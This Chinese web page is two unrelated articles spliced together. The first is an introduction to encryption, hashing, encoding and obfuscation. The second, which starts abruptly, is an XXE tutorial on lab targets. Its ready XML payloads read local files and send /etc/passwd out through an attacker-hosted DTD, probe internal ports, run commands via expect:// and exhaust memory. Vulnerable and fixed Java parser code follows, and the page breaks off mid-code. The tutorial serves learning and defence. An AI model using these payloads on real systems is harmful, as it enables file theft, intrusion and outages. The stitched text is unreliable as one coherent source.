整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

一文搞懂Web中暗藏的密码学

一文搞懂Web中暗藏的密码学

开发网站登录功能时,如何保证密码在传输过程/储存的安全?

相信不少前后端的朋友,在面试时都会被问到类似的问题。

在我对密码学一无所知时,也仅会回答:“MD5加密啊。”

诸不知,密码学在网络七层模型,甚至web开发中的应用比我想象得多得多。

1. 什么是密码学?

密码学是各种安全应用程序所必需的,现代密码学旨在创建通过应用数学原理和计算机科学来保护信息的机制。但相比之下,密码分析旨在解密此类机制,以便获得对信息的非法访问。

密码学具有三个关键属性:

  • 机密性,为了防止未经授权的各方访问信息(换句话说,是要确保只有经过授权的人才能访问受限制的数据)。
  • 完整性,是指保护信息不被随意篡改
  • 真实性,与识别信息的所有者有关。

例如个人医疗数据:

  • 机密性,个人医疗数据需要保密,这意味着只有医生或医护人员才能访问它。
  • 完整性,还必须保护其完整性,因为篡改此类数据可能导致错误的诊断或治疗,并给患者带来健康风险。
  • 真实性,患者数据应与已识别的个人联系起来,且患者需要知道操作者(医生)是谁。

在本文中,我们将从加密,哈希,编码和混淆四种密码学基础技术来入门。

本文图片经过再制,方便看懂。

大纲和主体内容引自:How Secure Are Encryption, Hashing, Encoding and Obfuscation?[1]

2. 什么是加密?

加密定义:以保证机密性的方式转换数据的过程。

为此,加密需要使用一个保密工具,就密码学而言,我们称其为“密钥”。

加密密钥和任何其他加密密钥应具有一些属性:

  • 为了保护机密性,密钥的值应难以猜测。
  • 应该在单个上下文中使用它,避免在不同上下文中重复使用(类比 JS 作用域)。密钥重用会带来安全风险,如果规避了其机密性,则影响更大,因为它“解锁”了更敏感的数据。

2.1 加密的分类:对称和非对称

加密分为两类:对称和非对称

对称加密:

用途:文件系统加密,Wi-Fi 保护访问(WPA),数据库加密(例如信用卡详细信息)

非对称加密:

用途:TLS,VPN,SSH。

其主要区别是:所需的密钥数量

  • 在对称加密算法中,单个密用于加密和解密数据。只有那些有权访问数据的人才能拥有单个共享密钥。
  • 在非对称加密算法中,使用了两个密钥:一个是公用密钥,一个是私有密钥。顾名思义,私钥必须保密,而每个人都可以知道公钥。
    • 应用加密时,将使用公钥,而解密则需要私钥。
    • 任何人都应该能够向我们发送加密数据,但是只有我们才能够解密和读取它。
  1. 通常使用非对称加密来在不安全的通道上进行通信时,两方之间会安全地建立公共密钥。
  2. 通过此共享密钥,双方切换到对称加密。
  3. 这种加密速度更快,更适合处理大量数据。

能被密码界承认的加密算法都是公开的

  • 某些公司使用专有或“军事级”加密技术进行加密,这些技术是“私有的”。且基于“复杂“算法,但这不是加密的工作方式。
  • 密码界广泛使用和认可的所有加密算法都是公开的,因为它们基于数学算法,只有拥有密钥或先进的计算能力才能解决。
  • 公开算法是得到广泛采用,证明了其价值的。

3. 什么是哈希?

哈希算法定义:·一种只能加密,不能解密的密码学算法,可以将任意长度的信息转换成一段固定长度的字符串。

加密算法是可逆的(使用密钥),并且可以提供机密性(某些较新的加密算法也可以提供真实性),而哈希算法是不可逆的,并且可以提供完整性,以证明未修改特定数据。

哈希算法的前提很简单:给定任意长度的输入,输出特定长度的字节。在大多数情况下,此字节序列对于该输入将是唯一的,并且不会给出输入是什么的指示。换一种说法:

  1. 仅凭哈希算法的输出,是无法确定原始数据的。
  2. 取一些任意数据以及使用哈希算法输出,就可以验证此数据是否与原始输入数据匹配,从而无需查看原始数据。

为了说明这一点,请想象一个强大的哈希算法通过将每个唯一输入放在其自己的存储桶中而起作用。当我们要检查两个输入是否相同时,我们可以简单地检查它们是否在同一存储桶中。

散列文件的存储单位称为桶(Bucket)

3.1 例子一:资源下载

提供文件下载的网站通常会返回每个文件的哈希值,以便用户可以验证其下载副本的完整性。

例如,在Debian的图像下载服务中,您会找到其他文件,例如SHA256SUMS,其中包含可供下载的每个文件的哈希输出(在本例中为SHA-256算法)。

  • 下载文件后,可以将其传递给选定的哈希算法,输出一段哈希值
  • 用该哈希值来与校验和文件中列出的哈希值作匹配,以校验是否一致。

在终端中,可以用openssl来对文件进行哈希处理:



同一个文件采用相同的hash算法时,就可以用来校验是否同源。

在强大的哈希算法中,如果有两个不同的输入,则几乎不可能获得相同的输出。

而相反的,如果计算后的结果范围有限,就会存在不同的数据经过计算后得到的值相同,这就是哈希冲突。(两个不同的数据计算后的结果一样)

这种称为:哈希碰撞(哈希冲突)

如果两个不同的输入最终出现在同一个存储桶中,则会发生冲突。如MD5和SHA-1,就会出现这种情况。这是有问题的,因为我们无法区分哪个碰撞的值匹配输入。

强大的哈希算法几乎会为每个唯一输入创建一个新存储桶。

3.2 例子二:网站登陆

在web开发中,哈希算法使用最频繁的是在网站登陆应用上:

绝大多数的网站,在将登陆数据存入时,都会将密码哈希后存储。

  • 这是为了避免他人盗取数据库信息后,还原出你的初始输入。
  • 且下次登录时,Web 应用程序将再次对你的密码进行哈希处理,并将此哈希与之前存储的哈希进行比较。
  • 如果哈希匹配,即使 Web 应用程序中没有实际的密码存储,Web 应用程序也确信你知道密码。

注册:

登陆:

哈希算法的一个有趣的方面是:无论输入数据的长度如何,散列的输出始终是相同的长度。

从理论上讲,碰撞冲突将始终在可能性的范围之内,尽管可能性很小。

与之相反的是编码

4. 什么是编码?

编码定义:将数据从一种形式转换为另一种形式的过程,与加密无关

它不保证机密性,完整性和真实性这三种加密属性,因为:

  • 不涉及任何秘密且是完全可逆的。
  • 通常会输出与输入值成比例的数据量,并且始终是该输入的唯一值。
  • 编码方法被认为是公共的,普遍用于数据处理
  • 编码永远不适用于操作安全性相关

4.1 URL编码

又叫百分号编码,是统一资源定位(URL)编码方式。URL地址(常说网址)规定了:

  • 常用的数字,字母可以直接使用,另外一批作为特殊用户字符也可以直接用(/,:@等)
  • 剩下的其它所有字符必须通过%xx编码处理。

现在已经成为一种规范了,基本所有程序语言都有这种编码,如:

  • js:encodeURI、encodeURIComponent
  • PHP:urlencode、urldecode 等。

编码方法很简单,在该字节ascii码的 16 进制字符前面加%. 如 空格字符,ascii码是 32,对应 16 进制是'20',那么urlencode编码结果是:%20。







4.2 HTML实体编码

在HTML中,需要对数据进行HTML编码以遵守所需的HTML字符格式。转义避免 XSS 攻击也是如此。

4.3 Base64/32/16编码

base64、base32、base16可以分别编码转化 8 位字节为 6 位、5 位、4 位。

16,32,64 分别表示用多少个字符来编码,

Base64常用于在通常处理文本数据的场合,表示、传输、存储一些二进制数据。包括MIME的email,email via MIME,在XML中存储复杂数据。

编码原理:

  1. Base64编码要求把 3 个 8 位字节转化为 4 个 6 位的字节
  2. 之后在 6 位的前面补两个 0,形成 8 位一个字节的形式
  3. 6 位 2 进制能表示的最大数是 2 的 6 次方是 64,这也是为什么是 64 个字符的原因
  • A-Z,a-z,0-9,+,/这 64 个编码字符,=号不属于编码字符,而是填充字符

Base64映射表,如下:

举个栗子:

引自:一篇文章彻底弄懂 Base64 编码原理[2]

  • 第一步:“M”、“a”、"n"对应的ASCII码值分别为 77,97,110,对应的二进制值是01001101、01100001、01101110。如图第二三行所示,由此组成一个 24 位的二进制字符串。
  • 第二步:如图红色框,将 24 位每 6 位二进制位一组分成四组。
  • 第三步:在上面每一组前面补两个 0,扩展成 32 个二进制位,此时变为四个字节:00010011、00010110、00000101、00101110。分别对应的值(Base64编码索引)为:19、22、5、46。
  • 第四步:用上面的值在 Base64 编码表中进行查找,分别对应:T、W、F、u。因此“Man”Base64编码之后就变为:TWFu。

上面的示例旨在指出,编码的用例仅是数据处理,而不为编码的数据提供保护。

4. 什么是混淆?

混淆定义:将人类可读的字符串转换为难以理解的字符串。

  • 与加密相反,混淆处理不包含加密密钥。
  • 与编码类似,混淆不能保证任何安全性,尽管有时会误将其用作加密方法

尽管不能保证机密性,但混淆仍有其它应用:

  • 用于防止篡改和保护知识产权。
  • APP 源代码通常在打包之前就被混淆了
    • 因为源代码位于用户的设备中,可以从中提取代码。由于混淆后代码不友好,因此会阻止逆向工程,从而有助于保护知识产权。
    • 反过来,这可以防止篡改代码并将其重新分发以供恶意使用。

但是,如此存在许多有助于消除应用程序代码混淆的工具。那就是其它话题了。。。

4.1 例子一:JavaScript混淆

JavaScript源代码:

混淆后:

总结

从机密性,完整性,真实性分析四种密码技术:


加密哈希编码混淆机密性????完整性????真实性????

  • 加密,虽然是为了保证数据的机密性,但某些现代加密算法还采用了其他策略来保证数据的完整性(有时通过嵌入式哈希算法)和真实性。
  • 哈希,只能保证完整性,但可以通过完整性对比来做权限控制,如:基于哈希的消息认证码(HMAC)和某些传输层安全性(TLS)方法。
  • 编码,过去曾被用来表示加密,并在技术领域之外仍具有这种含义,但在编程世界中,它仅是一种数据处理机制,从未提供任何安全措施
  • 混淆,可以用来提高抵御攻击的能力;但是,它永远不能保证数据的机密性。狡猾的对手最终将绕过混淆策略。与编码一样,永远不要将混淆视为可靠的安全控制

附录:哈希函数

常用的哈希函数

  • MD5,一种被广泛使用的密码杂凑函数,可以产生出一个 128 位元(16 位元组)的哈希值,用于确保信息传输完整一致。*虽广泛,但过时。
  • SHA-256/SHA512 , "加盐"。在比特币中,区块链使用SHA-256算法作为基础的加密哈希函数。
    • 安全散列算法secure hash algorithm,是一个密码哈希函数家族。
    • SHA家族有五个算法,分别是SHA-1,SHA-224,SHA-256,SHA-384,SHA-512
    • 它们是美国的政府标准,后面的四个称之为SHA-2
  • bcrypt:bcrypt算法相对来说是运算比较慢的算法。
    • 在密码学界有句常话:越慢的算法越安全。算法越算,黑客破解成本越高:
    • 通过salt和const这两个值来减缓加密过程,ta 的加密时间(百 ms 级)远远超过md5(大概1ms左右)。
    • 对于计算机来说,Bcrypt 的计算速度很慢,但是对于用户来说,这个过程不算慢。
    • bcrypt是单向的,而且经过salt和cost的处理,使其受rainbow攻击破解的概率大大降低,同时破解的难度也提升不少。
    • 相对于MD5等加密方式更加安全,而且使用也比较简单.
  • 设计良好的密钥扩展算法,如PBKDF2,bcrypt,scrypt。

后记 & 引用

How Secure Are Encryption, Hashing, Encoding and Obfuscation?[3]CTF 中那些脑洞大开的编码和加密[4]散列文件的存储——‘桶’[5]

那么,如何保证密码在传输过程/储存的安全呢?

我们下回分解!

?? 看完三件事

如果你觉得这篇内容对你挺有启发,我想邀请你帮我三个小忙:

  1. 点赞,让更多的人也能看到这篇内容(收藏不点赞,都是耍流氓)。
  2. 关注「前端劝退师」,不定期分享原创知识。
  3. 也看看其它文章

也可以来我的GitHub博客里拿所有文章的源文件:

前端劝退指南:https://github.com/roger-hiro/BlogFN

参考资料

[1]

How Secure Are Encryption, Hashing, Encoding and Obfuscation?: https://auth0.com/blog/how-secure-are-encryption-hashing-encoding-and-obfuscation/#What-is-Encoding-

[2]

引自:一篇文章彻底弄懂Base64编码原理: https://blog.csdn.net/wo541075754/article/details/81734770

[3]

How Secure Are Encryption, Hashing, Encoding and Obfuscation?: https://auth0.com/blog/how-secure-are-encryption-hashing-encoding-and-obfuscation/#What-is-Encoding-

[4]

CTF中那些脑洞大开的编码和加密: https://www.cnblogs.com/godoforange/articles/10850493.html

[5]

散列文件的存储——‘桶’: https://blog.csdn.net/Dearye_1/article/details/78492021

、WEB安全部分

想要了解XXE,在那之前需要了解XML的相关基础

二、XML基础

2.1 XML语法

  1. 所有的XML元素都必须有一个关闭标签
  2. XML标签对大小写敏感
  3. XML必须正确嵌套
  4. XML 文档必须有根元素
  5. XML属性值必须加引号

实体引用,在标签属性,以及对应的位置值可能会出现<>符号,但是这些符号在对应的XML中都是有特殊含义的,这时候我们必须使用对应html的实体对应的表示,比如<对应的实体就是<,>符号对应的实体就是>

在XML中,空格会被保留,如:<p>a空格B</p>,这时候a和B之间的空格就会被保留

2.2 XML结构

需要安全学习资料可以私信我:书籍、视频教程、工具及学习思路【点击查看】

2.2.1 XML文档声明

<?xml version="1.0" encoding="utf-8"?>

2.2.2 元素

元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。

<body>body text in between</body>
<message>some message in between</message>

空元素有例如:hr、br、img

2.2.3 属性

属性可提供有关元素的额外信息

<img src="computer.gif"/>
其中,src为属性

2.2.4 实体

实体分为四种类型,分别为:

  • 字符实体
  • 命名实体
  • 外部实体
  • 参数实体

2.3 文档类型定义--DTD

DTD是用来规范XML文档格式,既可以用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体

DTD可以嵌入XML文档当中(内部声明),也可以以单独的文件存放(外部引用)

2.3.1 DTD内部声明

假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:

<!DOCTYPE 根元素 [元素声明]>

内部声明DTD示例

<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

以上 DTD 解释如下:

  • !DOCTYPE note (第二行)定义此文档是 note 类型的文档。
  • !ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
  • !ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
  • !ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
  • !ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
  • !ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型

2.3.2 DTD外部引用


假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:


<!DOCTYPE 根元素 SYSTEM "文件名">


这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:


<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>



note.dtd:


<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>



2.3.3 PCDATA


PCDATA 的意思是被解析的字符数据(parsed character data)。


PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记,文本中的标签会被当作标记来处理,而实体会被展开,值得注意的是,PCDATA不应包含&、<和>字符,需要用& < >实体替换,又或者是使用CDATA


2.3.4 CDATA


CDATA 的意思是字符数据(character data)。


CDATA 是不会被解析器解析的文本。


在XML中&、<字符是属于违法的,这是因为解析器会将<解释为新元素的开始,将&解释为字符实体的开始,所以当我们有需要使用包含大量&、<字符的代码,则可以使用CDATA


CDATA由结束,在CDATA当中,不能包含]]>字符串,也不能嵌套CDATA,结尾的]]>字符串不能包含任何的空格和换行


2.3.5 DTD实体


DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。


实体又分为一般实体和参数实体


1,一般实体的声明语法:


引用实体的方式:&实体名;


2,参数实体只能在DTD中使用,参数实体的声明格式:


引用实体的方式:%实体名;


2.3.5.1 内部实体


<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">

<author>&writer;?right;</author>



2.3.5.2 外部实体


外部实体,用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机


<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

<author>&writer;?right;</author>



不同程序支持的协议不同


LIBXML2

PHP

JAVA

.NET

file

file

http

file

http

http

https

http

ftp

ftp

ftp

https


php

file

ftp


compress.zlib

jar



compress.bzip2

netdoc



data

mailto



glob

gopher *



phar




其中php支持的协议会更多一些,但需要一定的扩展支持。


??

三、XXE


XXE即XML外部实体注入,由上面可知,外部实体指的就是DTD外部实体,而造成XXE的原因是在解析XML的时候,对恶意的外部实体进行解析导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害


如何判断


3.1 如何判断是否存在XXE


以bwapp靶场为例


首先查看http头,观察是否有XML相关字符串



再判断是否解析了XML内容



发现修改内容后服务器会解析相应的内容



3.2 XXE可导致的危害


3.2.1 读取文件


最主要使用的是使用XXE来读取文件,这里我使用bwapp靶场作为环境


我搭建环境的时候使用php版本为5.2.17的环境,我是使用phpstudy搭建的环境,如果php版本大于5.2.17或者使用docker环境(php版本为5.5.9)会导致没有回显,当然可能只是我的环境问题,但是如果以low难度进行注入时使用正确的payload都是显示An error occured!的话,可以尝试使用我的方法


3.2.1.1 有回响


首先先进入XXE漏洞的测试界面


http://192.168.0.105/bwapp/xxe-1.php



进行抓包,发现存在text/xml



通过修改数据,观察服务器是否会解析XML的内容



确定服务器会解析XML内容,就可以自己构造注入了



<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE test[
    <!ENTITY bee SYSTEM "file:///d:/robots.txt">
]>

<reset><login>&bee;</login><secret>Any bugs?</secret></reset>



XML的外部实体“bee”被赋予的值为:file:///d:/robots.txt,当解析xml文档时,bee会被替换为file:///d:/robots.txt的内容。就被执行回显回来了。


3.2.1.2 无回显(Blind XXE)


但是在实际环境中XML大多数时候并非是为了输出用,所以很多时候是不会有输出的,这样即使XML被解析了但是是无法直接读取文件的,所以我们需要外带数据,把数据发送出来读取


靶场环境:Vulhub - Docker-Compose file for vulnerability environment

??

搭建好环境后先进入此页面http://192.168.3.25:8983/solr/#/demo/query,然后点击提交,进行抓包,并把包发送到重放器



在本地主机(使用桥接)或者是云服务器,反正能让目标服务器连接到的ip的主机即可,在此服务器上创建dtd文件


<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd "<!ENTITY data SYSTEM ':%file;'>">



创建完后修改包内的payload


/solr/demo/select?\_=1641268411205&q=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+hack[<!ENTITY+%25+send+SYSTEM+"http%3a//192.168.3.35/xxe.dtd">%25send%3b%25dtd%3b]><r>%26data%3b</r>&wt=xml&defType=xmlparser


该payload解码后为


<?xml version="1.0" ?><!DOCTYPE hack[<!ENTITY % send SYSTEM "http://192.168.3.35/xxe.dtd">%send;%dtd;]><r>&data;</r>&wt=xml&defType=xmlparser
注意,http://192.168.3.35/xxe.dtd这句需要改为自己的地址,同时发包的时候不要把&wt=xml&defType=xmlparser进行url编码,直接复制上去就好了



以上情况是当php报错时将里面的数据,如果php没有报错则使用下面的方法


首先先监听端口,然后在上面的基础上修改一下dtd文件


<!ENTITY % file SYSTEM "file:///h:/test.txt">
<!ENTITY % dtd "<!ENTITY data SYSTEM '192.168.3.35:666/?%file;'>">



在连接后面附上监听的端口,发送后会在监听处收到信息,如果没有可以尝试查看服务器日志



这里用一下别人的图


参考链接:XXE漏洞详解——进阶篇 - FreeBuf网络安全行业门户



但是我这里复现没有成功,也有可能是直接通过报错读出文件的原因,但是还是记录一下这种情况


3.2.1.3 读取PHP等文件


由于一些文件,如php文件内含有<等字符,在读取的时候想、解析器会将这些解析为xml语言导致语法错误,所以为了避免这种情况出现使用伪协议来读取


<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE test[
    <!ENTITY bee SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/robots.txt">
]>

<reset><login>&bee;</login><secret>Any bugs?</secret></reset>





3.2.1.4 端口探测


同样使用bwapp靶场作为环境


前面的流程基本一致,抓包后构造注入


在http连接后跟端口,如果端口开启,则会显示 failed to open stream: HTTP request failed!,否则不显示(或者显示failed to open stream: Connection refuse!或500状态码)


我这里使用phpstudy作为环境,所以开启了3306端口


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack[
<!ENTITY  bee SYSTEM "http://192.168.3.25:3306">
]>





测试666端口,机器没有开启,所以在发送包后获取响应包需要很长一段时间,最后报500错误码



测试1234端口,本机同样为开启,也是等待了一小会才获取到的响应包



3.2.1.5 远程命令执行RCE


要想要RCE需要使用expect协议,其他协议也有可能可以执行命令

??

expect需要安装expect拓展



<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack[
<!ENTITY  bee SYSTEM "expect://whoami">
]>



3.2.1.6 DDOS 攻击


参考文章:XXE从入门到放弃 - 安全客服,安全资讯平台 (anquanke.com)


<?xml version="1.0"?>

<!DOCTYPE lolz [
  <!ENTITY lol "abc">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>

<lolz>&lol9;</lolz>


该攻击通过创建一项递归的 XML 定义,在内存中生成十亿个”abc”字符串,从而导致 DDoS 攻击。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。


3.2.1.7 防御XXE


方案一、使用开发语言提供的禁用外部实体的方法


PHP:
libxml_disable_entity_loader(true);

JAVA:看下面的代码审计

Python:
第三方模块lxml按照修改设置来改就可以
from lxml import etree
xmlData=etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

def xxe():
    tree=etree.parse('xml.xml', etree.XMLParser(resolve_entities=False))
    # tree=lxml.objectify.parse('xml.xml', etree.XMLParser(resolve_entities=False))
    return etree.tostring(tree.getroot())
尝试改用defusedxml 是一个纯 Python 软件包,它修改了所有标准库 XML 解析器的子类,可以防止任何潜在的恶意操作。 对于解析不受信任的XML数据的任何服务器代码,建议使用此程序包。



方案二、过滤用户提交的XML数据


关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。


不允许XML中含有任何自己声明的DTD


有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可


参考文章:(38条消息) XXE详解_bylfsj的博客-CSDN博客_xxe


四、JAVA代码审计部分


XXE为XML External Entity Injection的英文缩写,当开发人员允许xml解析外部实体时,攻击者可构造恶意外部实体来达到任意文件读取、内网端口探测、命令执行、拒绝服务攻击等方面的攻击。


产生XXE有三个条件,首先是解析了XML,其次是XML外部可控。最后是没有禁用外部实体


五、XML常见接口


5.1 XMLReader


XMLReader接口是一种通过回调读取XML文档的接口,其存在于公共区域中。XMLReader接口是XML解析器实现SAX2驱动程序所必需的接口,其允许应用程序设置和查询解析器中的功能和属性、注册文档处理的事件处理程序,以及开始文档解析。当XMLReader使用默认的解析方法并且未对XML进行过滤时,会出现XXE漏洞


5.2 SAXBuilder


SAXBuilder是一个JDOM解析器,其能够将路径中的XML文件解析为Document对象。SAXBuilder使用第三方SAX解析器来处理解析任务,并使用SAXHandler的实例侦听SAX事件。当SAXBuilder使用默认的解析方法并且未对XML进行过滤时,会出现XXE漏洞


5.3 SAXReader


DOM4J是dom4j.org出品的一个开源XML解析包,使用起来非常简单,只要了解基本的XML-DOM模型,就能使用。DOM4J读/写XML文档主要依赖于org.dom4j.io包,它有DOMReader和SAXReader两种方式。因为使用了同一个接口,所以这两种方式的调用方法是完全一致的。同样的,在使用默认解析方法并且未对XML进行过滤时,其也会出现XXE漏洞。


5.4 SAXParserFactory


SAXParserFactory使应用程序能够配置和获取基于SAX的解析器以解析XML文档。其受保护的构造方法,可以强制使用newInstance()。跟上面介绍的一样,在使用默认解析方法且未对XML进行过滤时,其也会出现XXE漏洞。


5.5 Digester


Digester类用来将XML映射成Java类,以简化XML的处理。它是Apache Commons库中的一个jar包:common-digester包。一样的在默认配置下会出现XXE漏洞。其触发的XXE漏洞是没有回显的,我们一般需通过Blind XXE的方法来利用


5.6 DocumentBuilderFactory


javax.xml.parsers包中的DocumentBuilderFactory用于创建DOM模式的解析器对象,DocumentBuilderFactory是一个抽象工厂类,它不能直接实例化,但该类提供了一个newInstance()方法,这个方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回。

?六、接口代码审计&修复

通过了解XXE的原理了解到防御XXE只需要做到以下几点

1、不解析XML,但是有的时候业务需要

2、禁用dtd,同样很多时候无法实现

3、禁用外部实体和参数实体

对大部分时候,都可以通过设置feature来控制解析器的行为

// 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击
setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 如果不能完全禁用DTDs,最少采取以下措施,必须两项同时存在
setFeature("http://xml.org/sax/features/external-general-entities", false);// 防止外部实体POC
setFeature("http://xml.org/sax/features/external-parameter-entities", false);// 防止参数实体POC

如果是启用了XIclude则要在feature规则前添加

dbf.setXIncludeAware(true);   // 支持XInclude
dbf.setNamespaceAware(true);  // 支持XInclude

以下代码均出于:java-sec-code/XXE.java at master · JoyChou93/java-sec-code (github.com)

6.1 XMLReader

try {
    String body=WebUtils.getRequestBody(request);
    logger.info(body);
    XMLReader xmlReader=XMLReaderFactory.createXMLReader();
    xmlReader.parse(new InputSource(new StringReader(body)));  // parse xml
    return "xmlReader xxe vuln code";
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

6.2 修复代码

try {
    String body=WebUtils.getRequestBody(request);
    logger.info(body);

    XMLReader xmlReader=XMLReaderFactory.createXMLReader();
    // fix code start
    xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
    xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    //fix code end
    xmlReader.parse(new InputSource(new StringReader(body)));  // parse xml

} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

6.3 SAXBuilder

try {
    String body=WebUtils.getRequestBody(request);
    logger.info(body);

    SAXBuilder builder=new SAXBuilder();
    // org.jdom2.Document document
    builder.build(new InputSource(new StringReader(body)));  // cause xxe
    return "SAXBuilder xxe vuln code";
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

6.4 修复代码:

try {
    String body=WebUtils.getRequestBody(request);
    logger.info(body);

    SAXBuilder builder=new SAXBuilder();
     // fix code start
    builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
    builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
     // fix code end
    // org.jdom2.Document document
    builder.build(new InputSource(new StringReader(body)));

} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

6.5 SAXReader

try {
    String body=WebUtils.getRequestBody(request);
    logger.info(body);

    SAXReader reader=new SAXReader();
    // org.dom4j.Document document
    reader.read(new InputSource(new StringReader(body))); // cause xxe

} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

修复代码:

try {
    String body=WebUtils.getRequestBody(request);
    logger.info(body);

    SAXReader reader=new SAXReader();
    // fix code start
    reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
    reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    // fix code end
    // org.dom4j.Document document
    reader.read(new InputSource(new StringReader(body)));
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

6.6 SAXParserFactory

try {
    String body=WebUtils.getRequestBody(request);
    logger.info(body);

    SAXParserFactory spf=SAXParserFactory.newInstance();
    SAXParser parser=spf.newSAXParser();
    parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

    return "SAXParser xxe vuln code";
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

6.7 修复代码:

try {
    String body=WebUtils.getRequestBody(request);
    logger.info(body);

    SAXParserFactory spf=SAXParserFactory.newInstance();
    // fix code start
    spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    // fix code start
    SAXParser parser=spf.newSAXParser();
    parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

6.8 Digester

try {
    String body=WebUtils.getRequestBody(request);
    logger.info(body);

    Digester digester=new Digester();
    digester.parse(new StringReader(body));  // parse xml
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

修复代码:

try {
    String body=WebUtils.getRequestBody(request);
    logger.info(body);

    Digester digester=new Digester();
     // fix code start
    digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    digester.setFeature("http://xml.org/sax/features/external-general-entities", false);
    digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
     // fix code end
    digester.parse(new StringReader(body));  // parse xml

    return "Digester xxe security code";
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}

6.9 DocumentBuilderFactory

6.9.1 代码1:

try {
    String body=WebUtils.getRequestBody(request);
    logger.info(body);
    DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
    DocumentBuilder db=dbf.newDocumentBuilder();
    StringReader sr=new StringReader(body);
    InputSource is=new InputSource(sr);
